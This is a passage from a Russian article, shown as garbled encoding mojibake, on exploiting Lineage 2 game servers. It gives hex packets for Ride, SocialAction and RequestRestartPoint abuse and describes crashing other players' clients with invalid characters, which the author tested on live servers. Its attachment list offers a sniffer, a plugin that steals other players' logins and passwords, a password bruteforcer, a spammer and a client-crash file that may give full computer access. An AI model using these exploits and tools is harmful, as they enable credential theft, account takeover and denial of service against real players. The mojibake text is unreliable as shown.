èëè æå (----++++----+++) ++5 ++---++-++----+++--- ++6 +++++----+--++-- ++7 +++++++++------ ++8 +++-+-+++----+++ ++9 ++-++--++---++-- ++10 ++--+--++--+ +"+" îçíà÷àåò óñïåøíóþ çàòî÷êó, "-" ñîîòâåòñòâåííî êðèñòàëëû. +Èñõîäÿ èç ýòîé "òàáëèöû" îí âûäâèíóë òåîðèþ, ÷òî íà êàæäîì ýòàïå çàòî÷êè åñòü ñâîé "òèï ðàíäîìàéçåðà": +à) ìíîãî ïëþñîâ ïîäðÿä â íà÷àëå +++++--+----+ +á) 2 ïëþñà è ìèíóñû ++--++-----++-++--- +â) ïëþñ-ìèíóñ +-+-+-+ 4 ëîæíûå çàòî÷êè äîëæíû äàòü îòâåò. +Ñîîòâåòñòâåííî, îïðåäåëèâ êàêîé âû èìååòå òèï íà äàííîì ýòàïå, ìîæíî áûëî ïðåäñêàçûâàòü óñïåõ/íåóäà÷ó òî÷êè. +Ñ îäíîé ñòîðîíû, ìíå êàæåòñÿ áðåäîì ðàçäåëåíèå ðàíäîìàéçà íà òèïû, ñ äðóãîé æå ÿ çíàþ ëþäåé, êîòîðûå ñìîãëè çàòî÷èòü +òàêèì ñïîñîáîì àæ äî +15-òè. +Äàâàéòå ïîïðîáóåì ñ òî÷êè çðåíèÿ òåð/âåðà ðàññìîòðåòü ýòó ñòàòèñòèêó: +Çàòî÷êà Âñåãî/Óñïåõ Âåð. óñïåõà + +4 15/7 0.466 + +5 20/9 0.45 + +6 16/8 0.50 + +7 15/9 0.60 + +8 16/10 0.625 + +9 16/8 0.50 + +10 12/6 0.50 +Ïîëó÷èâøèåñÿ äàííûå âåðíû ðîâíî íà ñòîëüêî, íà ñêîëüêî âåðíà òàáëèöà F4llen'à. Ïîñ÷èòàâ ñðåäíåå çíà÷åíèå âåðîÿòíîñòåé +óñïåøíîé çàòî÷êè, ïîëó÷èì ÷èñëî 0.52, ÷òî îçíà÷àåò, ÷òî óñïåøíàÿ è ëîæíàÿ çàòî÷êà â öåëîì ðàâíîâåðîÿòíû. Äëÿ êàæäîãî +æå êîíêðåòíîãî ýòàïà çàòî÷êè, ìîæíî ñêàçàòü òî æå ñàìîå è ñåé÷àñ îáúÿñíþ ïî÷åìó. +Íàïèøåì ìàëåíüêóþ ïðîãðàììó, êîòîðàÿ áóäåò ãåíåðèðîâàòü ðàâíîâåðîÿòíî öèôðó 1 èëè 0. Äåëàòü îíà ýòî áóäåò 240 ðàç, +äëÿ êàæäûõ 60-òè ÷èñåë (ìîæíî ñ÷èòàòü èõ ýòàïàìè çàòî÷êè) áóäåò ñ÷åòàòü âåðîÿòíîñòü âûïàäåíèÿ åäèíèöû (â äàëüíåéøåì + "óñïåõ") è â èòîãå ñ÷åòàòü îáùóþ âåðîÿòíîñòü óñïåõà äëÿ âñåõ 240 ÷èñåë (çà âåðîÿòíîñòü óñïåõà ïðèíèìàåì ïðîöåíòíîå +ñîîòíîøåíèå åäèíèö è íóëåé ê 240): + +#include +#include +#include + +int main () { + int O = 0, I = 0, Ot = 0, It = 0, total = 241, r = 0; + srand(time(0)); + for(int i = 0;i < total;i++) { + r = rand()%2; + printf("%i ",r); + if(r) I++; else O++; + if(!(i%60)) { + printf("\n%i/%i\nÂåðîÿòíîñòü óñïåõà: %.2f\n",I,O,I/0.60); + Ot+=O; It+=I; + I = 0; O = 0; + } + + } + printf("Âåðîÿòíîñòü óñïåõà â öåëîì: %.2f\n",It/2.40); + return 0; +} + +Âîò, ÷òî ïðîãðàììà âûâåëà íà ýêðàí: +----------------------- +0 1 1 0 1 1 0 1 1 0 0 0 0 0 0 1 0 1 0 1 1 0 0 1 1 1 0 1 1 1 0 0 0 1 0 0 0 1 0 1 +1 0 0 0 0 0 0 1 1 1 1 1 0 1 1 0 1 0 0 1 +29/31 +Âåðîÿòíîñòü óñïåõà: 48.33 +0 0 0 1 1 0 0 0 0 1 0 1 1 1 0 0 0 1 1 0 1 0 1 0 1 0 0 1 1 1 1 0 1 1 0 1 0 0 0 1 +0 1 0 0 1 1 0 1 1 0 1 0 1 1 0 1 1 1 1 1 +32/28 +Âåðîÿòíîñòü óñïåõà: 53.33 +1 0 1 1 0 1 0 1 1 1 0 1 1 1 0 1 1 0 0 1 1 0 1 1 1 1 0 1 1 1 0 0 0 1 0 0 1 1 0 0 +0 1 0 1 1 0 0 1 0 1 0 0 1 0 0 0 0 1 0 0 +31/29 +Âåðîÿòíîñòü óñïåõà: 51.67 +1 0 0 1 1 1 1 0 0 0 0 0 0 0 1 1 0 0 1 1 1 0 1 0 0 1 0 0 0 1 0 0 0 1 0 1 0 1 1 0 +1 0 1 0 0 0 1 0 1 1 0 0 1 0 0 1 0 1 1 1 +27/33 +Âåðîÿòíîñòü óñïåõà: 45.00 +Âåðîÿòíîñòü óñïåõà â öåëîì: 50.00 +----------------------- +Êàê âèäèòå, òóò ïðîñëåæèâàþòñÿ òå "òèïû ðàíäîìà" î êîòîðûõ ïèñàë f4llen ïðè òîì, ÷òî âûïàäåíèå 0 è 1 ðàâíîâåðîÿòíî è +íèêàêîé çàêîíîìåðíîñòè òóò íåò. Ïëþñ êî âñåìó ïðè ïðîìåæóòî÷íûõ èçìåðåíèÿõ âåðîÿòíîñòåé (äëÿ êàæäûõ 60-òè ÷èñåë), +âåðîÿòíîñòü óñïåõà íåñêîëüêî îòêëîíÿëàñü îò 50%, íî îáùàÿ âñ¸ ðàâíî áûëà ìàêñèìàëüíî áëèçêà ê äåéñòâèòåëüíîé +âåðîÿòíîñòè âûïàäåíèÿ 0 èëè 1. +Òàêèì îáðàçîì, ñòàòèñòèêà f4llen'à íè ÷òî èíîå, êàê ïîïûòêà ñèñòåìàòèçèðîâàòü îáû÷íûé ðàíäîì. + +Íó è ïîñëåäíèé êàìåíü â ñòîðîíó òåõ, êòî ñ÷èòàåò, ÷òî íà âåðîÿòíîñòü çàòî÷êè âëèÿåò äàæå ïîãîäà çà îêíîì: + L2j íåò ñâîåãî ãåíåðàòîðà ñëó÷àéíûõ ÷èñåë, â í¸ì òàêîé æå áèáëèîòå÷íûé ðàíäîìàéçåð, ÷òî áûë èñïîëüçîâàí âûøå. Ñ òîé +ëèøü ðàçíèöåé, ÷òî íà âåðîÿòíîñòü çàòî÷êè âëèÿåò îäíî åäèíñòâåííîå ÷èñëî, êîòîðîå âûñòàâëÿåòñÿ àäìèíèñòðàöèåé. +Áóäòå óâåðåíû, â lineage2 off òî æå ñàìîå. + + èòîãå, õî÷ó ñêàçàòü, ÷òî íå ñòîèò ïûòàòüñÿ îáìàíóòü rand(), ñêîðåå îí îáìàíåò âàñ =) Ñòîèò èñêàòü áàãè â ñàìîì +ïðîöåññå òî÷êè, íî îïÿòü æå, êàê áûëî ïðîäåìîíñòðèðîâàíî âûøå, ýòî ñëèøêîì ïðîñòîé ïðîöåññ, ÷òîáû áûòü áàæíûì. + + +À âîîáùå, "ñëó÷àéíîñòåé íå áûâàåò, à áûâàþò òîëüêî íåèçâåñòíûå íàì çàêîíîìåðíîñòè" (c) Êòî-òî. + + + +12. Ãåîäàòà (õîæäåíèå ñêâîçü ñòåíû). +Ñåãîäíÿ ïîñòó÷àëñÿ ÷åëîâåê â àñþ è íà÷àë ñïîðèòü, ÷òî l2j íè÷åì íå îòëè÷àåòñÿ îò îôôà.  ñâÿçè ñ ýòèì ÿ ðåøèë +äîáàâèòü â ñòàòüþ ïàðó ñëîâ ïðî ãåîäàòó â l2j è off. +Ïðîöåññ ïåðåäâèæåíèÿ ïî ìèðó â la2 ðåàëèçîâàí äîâîëüíî èíòåðåñíî. Îêàçûâàåòñÿ, çà òåì, êóäà èäòè ñëåäèò è ñåðâåð è +êëèåíò ïàðàëëåëüíî. Òî÷íåå, âû êëèêàåòå â òó òî÷êó, êóäà õîòèòå ïîïàñòü, êëèåíò â ñîîòâåòñòâèè ñ èìåþùåéñÿ ó íåãî +ãåîäàòîé ñìîòðèò ìîæíî ëè òóäà ïðîéòè, åñëè äà, òî ïîñûëàåò çàïðîñ íà ñåðâåð. Òîò óæå â ñîîòâåòñòâèè ñî ñâîåé +ãåîäàòîé ðàçðåøàåò èëè âîçâðàùàåò âàñ â èñõîäíîå ïîëîæåíèå. Ýòèì êàê ðàç è îáúÿñíÿåòñÿ ôåíîìåí ïîä íàçâàíèåì +"íèâèäèìûå ñòåíû", êîòîðûé, êñòàòè, ïðèñóùü íàøèì ôðèøàðäíûì ïðîäæåêòàì ñ êðèâûìè ëîêàöèÿìè. + l2j æå íåò ãåîäàòû, îíà ïðèêðó÷åâàåòñÿ ê íåìó äîïîëíèòåëüíî. ×òî ýòî çíà÷èò? À òî, ÷òî çà ïåðåäâèæåíèåì ÷àðà +ñëåäèò òîëüêî êëèåíò ïî èìåþùåéñÿ ó íåãî ãåîäàòå. Ïîýòîìó, âîñïîëüçîâàâøèñü áîòîì (â êîòîðîì ïîíÿòíîå äåëî òàêæå +íåò ãåîäàòû), âû ìîæåòå õîäèòü ñêâîçü ñòåíû, ïîòîìó ÷òî íè ñåðâåð, íè êëèåíò (â ëèöå áîòà) ïðîñòî íå çíàþò ïðî íèõ. +Ýòà ïðîáëåìà êñòàòè íå òîëüêî l2j. Íà Ñ1ÎÔÔ êàê ïðàâèëî Ñ3/C4 ëîêàöèè òàêæå áåç ãåîäàòû, òî åñòü òàì òî÷íî òàêæå +îòâåòñòâåííîñòü çà ïåðåäâèæåíèå âîçëàãàåòñÿ òîëüêî íà êëèåíòà. + +Åñëè ðàçáèðàòü ïåðåäâèæåíèå áîëåå ïîäðîáíî, òî îíî ðåàëèçóåòñÿ ïàêåòîì "0x01 MoveBackwardToLocation".  í¸ì +ïðèñóòñòâóåò äâà íàáîðà êîîðäèíàò - ãäå ñòîèì è êóäà õîòèì ïîïàñòü. Ïîñëå ýòîãî ïàêåòà ñåðâåð íà÷èíàåò íàñ +øàã çà øàãîì äâèãàòü â æåëàåìóþ íàìè òî÷êó. Ïðè÷¸ì, ñ êàæäûì øàãîì îí íå ïîñûëàåò íàì íîâûå êîîðäèíàòû! Äëÿ +òîãî, ÷òîáû êëèåíòó óçíàòü â êàêîé òî÷êå â äàííûé ìîìåíò îí íàõîäèòñÿ, ïîñûëàåòñÿ ïàêåò "0x48 ValidatePosition". +Òî åñòü, â öåëîì, ìû ïîñûëàåì ïàêåò ñ êîîðäèíàòàìè êóäà õîòèì ïîïàñòü, à ïîòîì ïðîñòî ïåðèîäè÷åñêè ïðîâåðÿåì, +ãðóáî ãîâîðÿ, íà ñêîëüêî ìû ïðîäâèíóëèñü. +Íî ýòî òàê, äëÿ îáùåãî ðàçâèòèÿ, òàê ñêàçàòü =) + + + +13. Ïðèêîë ñ SocialAction (0x1b) +×òî òàêîå SocialAction, äóìàþ, îáúÿñíÿòü íå íàäî. Îêàçàëîñü, ÷òî ïîìèìî ñìåõà, ïðèâåòñòâèÿ, ïîáåäû è òä, àíèìàöèÿ +ïðè LVL UP'å ÿâëÿåòñÿ òàêèì æå SocialAction'îì. À, íàñêîëüêî âàì èçâåñòíî, çàïðîñ íà ïðîèçâåäåíèå SocialAction +îòïðàâëÿåò êëèåíò, òî åñòü ìû ñàìè ìîæåì â ëþáîé ìîìåíò ñäåëàòü ñåáå lvlup =) Òîëüêî àíèìàöèþ, ðàçóìååòñÿ. +Âîò ôîðìàò SocialAction-ïàêåòà: + +1b // Òèï ïàêåòà (SocialAction) +0f 00 00 00 // íîìåð action'à (0f - lvlup) + + + +14. Áàã c Ride (0x6a) +Çàïðîñ "Ride" ïîñûëàåò êëèåíò, êîãäà õî÷åò çàáðàòüñÿ íà ñòðàéäåðà èëè âèâåðåíà. +Ôîðìàò: + +6a // òèï ïàêåòà +00 00 00 00 // 0/1 ñëåçòü/çàëåçòü +00 00 00 00 // íîìåð ïèòîìöà: 1 - ñòðàéäåð, 2 âèâèðåí + +Êîãäà ó âàñ âûçâàí ñòðàéäåð è âû ïîñûëàåòå çàïðîñ "Ride", íà ñàìîì äåëå, ñòðàéäåð èñ÷åçàåò (òî åñòü âûõîäèò èç èãðû +è òåðÿåò ñâîé OID - ýòèì êàê ðàç îáúÿñíÿåòñÿ òî, ÷òî êîãäà âû ñ íåãî ñëåçàåòå, îí ïðîïàäàåò), à ñàäèòåñü âû óæå íå +êîíêðåòíî íà ñâîåãî ñòðàéäåðà, à íà íåêèé ýòàëîí ñòðàéäåðîâ :) Íåìíîãî íåêîððåêòíî âûðàçèëñÿ, íó äà ëàäíî. +Îêàçàëîñü, ÷òî íà íåêîòîðûõ ëà2-ñåðâåðàõ îòñóòñòâóåò ïðîâåðêà íà òî, à âûçûâàëè ëè âû âîîáùå ñòðàéäåðà, ïåðåä òåì +êàê íà íåãî ñåñòü. Òî åñòü íè ñ òîãî, íè ñ ñåãî, ïîñëàâ ïàêåò: +6a 01 00 00 00 01 00 00 00 +Âû ñÿäåòå íà ñòðàéäåðà, õîòü è íå âûçûâàëè åãî. Ïðè÷¸ì, äàæå åñëè ó âàñ íåò äóäêè. Òàêèì æå îáðàçîì ìîæíî ñàäèòñÿ è +íà âèâåðåí. +Ýòîò áàã, òàêæå êàê è ïðèêîë ñ SocialAction áûë íàéäåí ÷åëîâåêîì ïîä íèêîì Maddaemon. Ãðàòç åìó. + + + +15. Âûêèäûâàåì èç èãðû ÷àðîâ +Ýòîò áàã ÿ îòêðûë ñëó÷àéíî, èçó÷àÿ âñ¸ òåõ æå ìóòàíòîâ. Ìåíÿ ìó÷àë âîïðîñ, ïî÷åìó êîãäà ïðè ñîçäàíèè ÷àðà óêàçûâàåøü +íåñóùåñòâóþùóþ ðàññó (÷èñëî áîëüøå 4-¸õ), âñåãäà ñîçäà¸òñÿ ÷àð ñ òåêñòóðàìè human'à? Ïðè÷¸ì, ýòîò human íå ìîæåò ó÷èòü +ñêèëëû ó NPC human'îâ, òî åñòü íè÷åãî êðîìå òåêñòóð åãî ñ ëþäüìè íå îáúåäèíÿëî. Òàê âîò, îêàçàëîñü, ÷òî â âèäå human'à +òàêèõ ÷àðîâ âîñïðèíèìàåò _òîëüêî_ Ñ1/C3 êëèåíòû. Ñ4 æå äëÿ òàêèõ ÷àðîâ òåêñòóðû ïðîñòî íå íàõîäèò è âûëåòàåò ñ îøèáêîé. +Òî åñòü, êàê òîëüêî â çîíó âèäèìîñòè la2 C4 êëèåíòà ïîïàäàåò òàêîé ÷àð, îí ïàäàåò. Ïîä çîíîé âèäèìîñòè ÿ ïîäðàçóìåâàþ +íå òî, ÷òî âû âèäèòå íà ýêðàíå, à ïðèáëèçèòåëüíî çîíó âèäèìîñòè êîìàíäû "/target". +Òàê, íàïðèìåð, ïîñòàâèâ òàêîãî ïåðñîíàæà ðÿäîì ñ çàìêîì íà âðåìÿ îñàäû, ó íàïàäàþùèõ íå áóäåò øàíñà, ò.ê. áîòàìè +çàõâàòûâàòü çàìîê êðàéíå ïðîáëåìàòè÷íî, à êëèåíòîì çàéòè â èãðó îíè ïðîñòî íå ñìîãóò. + +ß èñïûòàë ýòî íà òð¸õ êðóïíûõ îòå÷åñòâåííûõ Ñ4 ñåðâåðàõ (íå l2j), âåçäå ðàáîòàëî. +Òàêèìè ÷àðàìè, êñòàòè, ìîæíî ïðîâåðÿòü ïåðñîíàæåé íà áîòîâ ) Åñëè íå óïàë, çíà÷èò áîò. Íî ýòî ñïîñîá äëÿ ÃÌîâ-ñàäèñòîâ +èìõî. + +http://m00.void.ru/nuke.rar - âèäåî çàïèñü ñ îäíîãî èç Ðîññèéñêèõ Ñ4 ñåðâåðîâ. Íà íåé ïîêàçàíî, êàêîé ýôôåêò îêàçûâàþò +òàêèå ÷àðû íà äðóãèõ èãðîêîâ. + + + +16. Áàã ñ RequestRestartPoint (îæèâëåíèå è ïîáåã èç òþðüìû) +Ýòîò áàã áûë íàéäåí íàøèì ñîîòå÷åñòâåííèêîì èç ïîäïîëüÿ www.allcheats.ru ïîä íèêîì sshd. +Êîãäà âû óìèðàåòå, ó âàñ ïîÿâëÿåòñÿ îêíî ñ âûáîðîì ìåñòà, ãäå êàê áû âàñ îæèâèòü. Ïðè îáû÷íûõ óñëîâèÿõ òàì âñåãî îäíà +êíîïêà: "return to the nearest village". Ïîñëå íàæàòèÿ íà êîòîðóþ èãðà ïîñûëàåò ïàêåò: + +6d // òèï ïàêåòà (RequestRestartPoint) +00 00 00 00 // àðãóìåíò, êîòîðûé ñîáñòâåííî ãîâîðèò ñåðâåðó î òîì, êóäà íàñ âåðíóòü + +Áàã çàêëþ÷àåòñÿ â òîì, ÷òî êàê ðàç êëèåíò ãîâîðèò ñåðâåðó êóäà âåðíóòü ÷àðà ïîñëå ñìåðòè. Òî åñòü, íå êëèåíò, à ìû. +LA2 Ñ3/C4 ñåðâåðû ïîääåðæèâàþò ñëåäóþùèå çíà÷åíèÿ àðãóìåíòà (ìåñòà âîçâðàòà): + +0 – return to town (â ãîðîä) +1 – hide PK (åñëè âû ÏÊ, âîçâðàùàåò â ãîðîä ÏÊ èëè â îêðåñòíîñòè òîãî ãîðîäà, ãäå âàñ óáèëè) +2 – to castle (â çàìîê) +3 – to siege HQ (ê ôëàãó âî âðåìÿ îñàäû) +4 – fixed, festival (âî âðåìÿ ôåñòèâàëÿ òüìû îæèâëÿåò âàñ íà ìåñòå). + +Òàêèì îáðàçîì, ïîñëàâ âìåñòå "00 00 00 00", "04 00 00 00" íàø ÷àð îæèâèòñÿ íà òîì ìåñòå, ãäå ñîáñòâåííî áûë óáèò. + ñâÿçè ñ ýòèì áàãîì, ó ìåíÿ âîçíèêëà ìûñëü î òîì, êàê ìîæíî âûçâîëèòü èç òþðüìû ïåðñîíàæà. +Äëÿ ýòîãî ÷àð, íàõîäÿùèéñÿ â òþðüìå, äîëæåí áûòü â êëàíå. Ýòîò êëàí çàïèñûâàåòñÿ íà îñàäó è ñòàâèò ôëàã, ïðè ýòîì +÷àðà, êîòîðûé â òþðüìå íàäî êàêèì-íèáóäü îáðàçîì óáèòü. Íà antaras.ru, ê ïðèìåðó, ýòî íå ñëîæíî, òàì âîêðóã òþðüìû +àããðû, áüþùèå ÷åðåç ñòåíó. Äàëåå âû ïðîñòî ïîñûëàåòå "RequestRestartPoint" ïàêåò ñ àðãóìåíòîì "03 00 00 00" è ÷àð +ïîÿâëÿåòñÿ (äîëæåí ïîÿâèòñÿ :)) æèâîé ó ôëàãà. + + + +17. Ðàçäåòü ÷óæîãî ïåðñîíàæà íå çíàÿ íè ëîãèíà, íè ïàðîëÿ - ðàçâå ýòî ðåàëüíî? +Äà, ê ñîæàëåíèþ ýòî ðåàëüíî. ß ðåøèë óáðàòü ýòîò ïàðàãðàô èç ñòàòüè, òàê êàê ýòî î÷åíü ñåðü¸çíàÿ áðåøü â lineage2, +êîòîðàÿ íàäåëàåò åù¸ íå ìàëî øóìó. Íå õî÷ó, ÷òîáû ýòî áûëî íà ìîåé ñîâåñòè :) +Ñêàæó ëèøü, ÷òî ñóùåñòâóåò âîçìîæíîñòü âõîäèòü ïîä ðàíäîìíûìè ïåðñîíàæàìè (òî åñòü ñàìè ìû êîíêðåòíîãî ïåðñîíàæà +âûáðàòü íå ìîæåì, ýòî äåëàåò ñåðâåð). Ïîêà ÷òî ýòî áûëî îïðîáîâàíî òîëüêî íà èçâåñòíîì ñåðâåðå www.l2extreme.com, +íî ÿ óâåðåí, ÷òî ýòî ðàáîòàåò è íà äðóãèõ. +Òàê ÷òî íå óäèâëÿéòåñü, åñëè âàøåãî ÷àðà ñ ïàðîëåì àëÿ "6IlZk9qR[!]" âäðóã ðàçäåíóò. + + + +18. Èòîã +×òîæ, ÿ îïèñàë äîñòàòî÷íîå êîë-âî áàãîâ. Ê ñîæàëåíèþ, ê ìîìåíòó ïóáëèêàöèè ñòàòüè áîëüøèíñòâî èç íèõ ñòàëè óæå íå +òàê àêòóàëüíû. Òî, ÷òî àêòóëüíî ñåé÷àñ èëè íàõîäèòñÿ â äàííûé ìîìåíò â ðàçðàáîòêå, âîçìîæíî áóäåò âûëîæåíî ïîçäíåå +íà ôîðóìå la2brute.5bb.ru. + + +V. Áàãè íîâîãî ïîêîëåíèÿ +[âûðåçàíî] +Ìîãó ëèøü ñêàçàòü, ÷òî èõ áóäåò èñïîëüçîâàòü ìîé íîâûé èíãåéì áîò LA2Monster. + + +VI. Ïàðà ñëîâ î C4 +Âîîáùå Ñ4 âñ¸ åù¸ íèêàê íå ìîæåò óñòàêàíèòüñÿ. Òî÷íåå ïîøëî íåêîå ðàçâåòâëåíèå â ðåàëèçàöèè àâòîðèçàöèè. +L2J C4 ñåðâåðû ñòàëè ïðèìåíÿòü äëÿ øèôðîâàíèÿ àâòîðèçàöèîííîãî ïàêåòà RSA (âïðî÷åì êàê è ÎÔÔ îò NCSoft). +Ïðè÷¸ì, ïàðà private/public-êëþ÷åé ãåíåðèðóåòñÿ äëÿ êàæäîãî ñîåäèíåíèÿ. Êëèåíòó â ïåðâîì ïàêåòå ñåðâåð +ïåðåäà¸ò 1024-áèòíûé ïóáëè÷íûé êëþ÷, êîòîðûì êëèåíò _ïîâåðõ_ blowfish øèôðóåò ïàêåò ñ ëîãèíîì/ïàðîëåì. +Ýòîò ñïîñîá ãàðàíòèðóåò òî, ÷òî íèêòî èçâíå íå ñìîæåò ïîëó÷èòü êëèåíòñêèé ëîãèí è ïàðîëü. Õîòÿ, åñëè +âñïîìíèòü âçëîì Rc5-64, òî ðàñêðûòèå 128-áàéòíîãî êëþ÷à íå êàæåòñÿ òàêèì óæ çàîáëî÷íûì. +Õî÷åòñÿ îòìåòèòü, ÷òî ãåíåðàöèÿ key-pair â RSA äîñòàòî÷íî òðóäî¸ìêîå çàíÿòèå. Ó ìåíÿ íà ãåíåðàöèþ ïàðû êëþ÷åé +ñ ïîìîùüþ áèáëèîòåê openssl óõîäèëî ~1.5-2 ñåêóíäû, ÷òî äëÿ ñåðâåðà ñ îíëàéíîì, ñêàæåì, â 1000 ÷åëîâåê - +íåïîçâîëèòåëüíàÿ ðîñêîøü. Õîòÿ îïÿòü æå, login-ñåðâåð ïî çàäóìêàì NCSoft äîëæåí áûòü íà äðóãîé ìàøèíå íåæåëè +game-ñåðâåð, íî, êàê ÿ óæå ïèñàë âûøå, ýòî íå âñåãäà âûïîëíÿåòñÿ ó íàñ â Ðîññèè. +×òî æå êàñàåòñÿ Ñ1ÎÔÔ ïåðåäåëàííûõ â Ñ4, RSA â íèõ íå èñïîëüçóåòñÿ. Õîòÿ èçìåíåíà ðàáîòà ñ âíóòðåííèìè +èäåíòèôèêàòîðàìè, êîòîðûå èñïîëüçóþòñÿ äëÿ àâòîðèçàöèè íà game-ñåðâåðå. Ïðè ýòîì è äëÿ l2j è äëÿ ñ1îôô-ñ4 +èñïîëüçóåòñÿ îäèí è òîò æå Ñ4 êëèåíò. + + + +VII. Ïîñëåñëîâèå. +Êîíå÷íî, ïî ýòîé ñòàòüå íåëüçÿ ñîçäàòü RFC ïî lineage, èáî, åñòåñòâåííî, íåêîòîðûå ìîìåíòû +ÿ ïðîïóñêàë, òàê êàê îíè áûëè íå âàæíû èëè ÿ äî êîíöà íå ïîíèìàë èõ ñàì. Òàê èëè èíà÷å, ÿ ñ÷èòàþ, ÷òî +äàë âàì óéìó ïèùè äëÿ ðàçìûøëåíèé. +Åñëè âû ñ ÷åì-òî íå ñîãëàñíû èëè çíàåòå (äóìàåòå, ÷òî çíàåòå :D) ÷åãî ÿ íå çíàþ, ïèøèòå íà d4rk@securitylab.ru, +ëèáî â ËÑ íà www.allcheats.ru íà íèê "nop". +Áóäó ðàä ïîîáùàòüñÿ. + + +VIII. Ññûëêè. + +http://72.14.203.104/search?q=cache:Dt3J-o9GNJcJ:gamehaqs.com/forums/ +index.php%3Fshowtopic%3D5041+blowfish+lineage2&hl=ru&gl=ru&ct=clnk&cd=1 - +ñîõðàí¸ííàÿ â êýøý ãóãëà bbs'êà, íà êîòîðîé îáñóæäàëîñü êëèåíò-ñåðâåðíîå âçàèìîäåéñòâèå lineage. +Ñóäÿ ïî ïîñòàì, íàðîä óïîðíî íå õî÷åò ñìîòðåòü èñõîäíèêè l2j è ïûòàåòñÿ ìåòîäîì òûêà íàéòè ñïîñîá +àâòîðèçîâàòüñÿ íà ñåðâåðå. +http://forum.ragezone.com/server-help-extra/lin1-server-emulator-incomplete-cant-even-login-26438.html - Òî æå ñàìîå +http://allcheats.ru/forums/showthread.php?t=1844 - òî æå ñàìîå, òîëüêî íàøè Ðóññêèå.  îòëè÷èå îò +àìåðèêîñîâ, äàëåêî ïðîäâèíóëèñü. +http://cheaters.net.ua/forum/index.php?s=083fef4f61997fc4be2ad3b0a98ba8a2&showtopic=254&pid=2254&st=0&#entry2254 - +ñòàòüÿ F4llen'à ïðî fake-ýí÷àíò è ïðî òèïû ðàíäîìà (îíà óïîìèíàëàñü â ýòîé ñòàòüå â ïàðàãðàôå ïðî çàòî÷êè). +http://www.javable.com/columns/crypto/algorythms/01/ - îòëè÷íûé ðàçäåë ïðî blowfish. +http://arbuz.uz/z_pihns.html - èíòåðåñíàÿ ñòàòüÿ ïðî ðàñ÷¸ò ÷èñëà Ïè èñõîäÿ èç òåîðèè âåðîÿòíîñòè. Òàê, äëÿ ðàñøèðåíèÿ +êðóãîçîðà. +http://www.securitylab.ru/analytics/216301.php - ìîÿ ïðåäûäóùàÿ ñòàòüÿ ïîäîáíîé òåìàòèêè. Îíà +áîëåå ïðîñòàÿ çà ñ÷¸ò èíòóèòèâíî-ïîíÿòíîãî ïðîòîêîëà HalfLife, ðåêîìåíäóþ íîâè÷êàì íà÷àòü ñ íå¸. +http://la2brute.5bb.ru - êîììåð÷åñêèé ïðîåêò. +http://m00.void.ru/nuke.rar - âèäåî çàïèñü - ïðèëîæåíèå ê ïàðàãðàôó 13 (Âûêèäûâàåì èç èãðû ÷àðîâ) +http://la2brute.5bb.ru/viewtopic.php?id=52 - ïîêàçàíî, êàê ñ ïîìîùüþ LA2Fun ó÷èòü ñêèëëû ëþáîãî óðîâíÿ íà ïðîäæåêòàõ +è ñìåøèâàòü ïðîôôåññèè íà l2j. +http://la2brute.5bb.ru/viewtopic.php?id=53 - ïîêàçàíî, êàê ñîçäàâàòü ìóòàíòîâ (íà ïðèìåðå áåññìåðòíûõ) íà ïðîäæåêòàõ +ñ ïîìîùüþ LA2Fun. + + +IX. Ïðèëîæåíèÿ ê ñòàòüå. +Ïðèëîæåíèå ê ñòàòüå íàõîäèòñÿ ïî àäðåñó: m00.blackhat.ru/la2shit.rar +Ñîäåðæèìîå: +game-serv-encryption.txt - èñõîäíèê íà àñìå øèôðîâàíèÿ ïàêåòîâ game-ñåðâåðîì (âûêëàäûâàë sauron íà allcheats.ru). +grabber.c - ñòàðûé ïðèìåð ñêà÷èâàíèÿ íèêîâ ñ ñàéòà íà ïðèìåðå www.antaras.ru. Êñòàòè, íà antaras.ru óæå äàâíî +ââåëè cookie, òàê ÷òî ýòîò ïðèìåð óæå íà í¸ì íå ðàáîòàåò. Ýòîò êîä óïîìèíàëñÿ â ðàçäåëå ïðî ïåðåáîð ïàðîëåé. +ID.rar - ñïèñîê ïðåäìåòîâ è ñîîòâåòñòâóþùèõ èì ID +la2brute_1.1.OLD.rar - ñòàðàÿ òåñòîâàÿ âåðñèÿ la2brute. Áûëà íàïèñàíà â ôåâðàëå-ìàðòå ýòîãî ãîäà. Âèñíåò, ïàäàåò, òàê +÷òî ñ÷èòàéòå ýòî PoC'îì =) +la2reklamer.rar - ïðîãðàììà äëÿ ìàññîâîé ðàññûëêè ñîîáùåíèé. Ñàìà ñêà÷èâàåò íèêè èãðîêîâ, êîòîðûå îíëàéí è â òå÷åíèå +ìèíóòû êàæäîìó èç íèõ ïåðñîíàëüíî ïèøåò ïðèâàòíîå ñîîáùåíèå. +raid.jpg - ïðèìåð òîãî, êàê ìîæíî èñïîëüçîâàòü áåññìåðòíûõ ìóòàíòîâ =) àâòîð Hint +screenshot1.jpg - ñêðèí ãåíåðàòîðà auth-ïàêåòîâ +screenshot2.jpg - ñêðèí ñîâìåñòíîé ðàáîòû ìîåãî ïàò÷à äëÿ sniffit è ïåðåáîðùèêà ïàðîëåé ê ëà2 ñåðâåðàì. +shot1.JPG, shot2.JPG, shot3.JPG - ñêðèíû ìóòàíòîâ, ñîçäàííûõ ñ ïîìîùüþ la2fun +sniff.exe - ýõ îò ñåðäöà îòðûâàþ.. ñíèôôåð, êîòîðûé ïåðåõâàòûâàòü è ðàñøèôðîâûâàåò âõîäÿùèé/èñõîäÿùèé la2-òðàôôèê. +Ïðè÷¸ì è login-ñåðâåðà è game-ñåðâåðà. Íàñòðîåí íà ìîé ñåòåâîé èíòåðôåéñ, òàê ÷òî äëÿ èñïîëüçîâàíèÿ âàì ïðèä¸òñÿ +ïîêîïàòüñÿ â áèíàðíîì êîäå =) +mass.nuke.avi - çàïèñü òîãî, êàê èç-çà ìîåãî ÷àðà ñ ñåðâåðà ïàäàþò ñîòíè ÷åëîâåê. +la2-example.c - ïðèìåð êîíñòðóèðîâàíèÿ RequestAuthLogin-ïàêåòà +Sniffit.LA2C3.plug.rar - ïëàãèí äëÿ sniffit, êîòîðûé ïîçâîëÿåò ïåðåõâàòûâàòü ÷óæèå RequestAuthLogin-ïàêåòû è +âûòàñêèâàòü èç íèõ ëîãèí/ïàðîëü +l2.crash.ini - Çàøèôðîâàííûé ôàéë ñ íàñòðîéêàìè äëÿ L2C3 êëèåíòà îò êîòîðîãî îí ïàäàåò. Ïðè óäà÷íîé ýêñïëóàòàöèè +ìîæåò ïîçâîëèòü ïîëó÷èòü ïîëíûé äîñòóï ê êîìïüþòåðó, íà êîòîðîì ýòîò l2.ini áûë èñïîëüçîâàí. +la2fun_1.2.demo.rar - óðåçàííûé LA2Fun 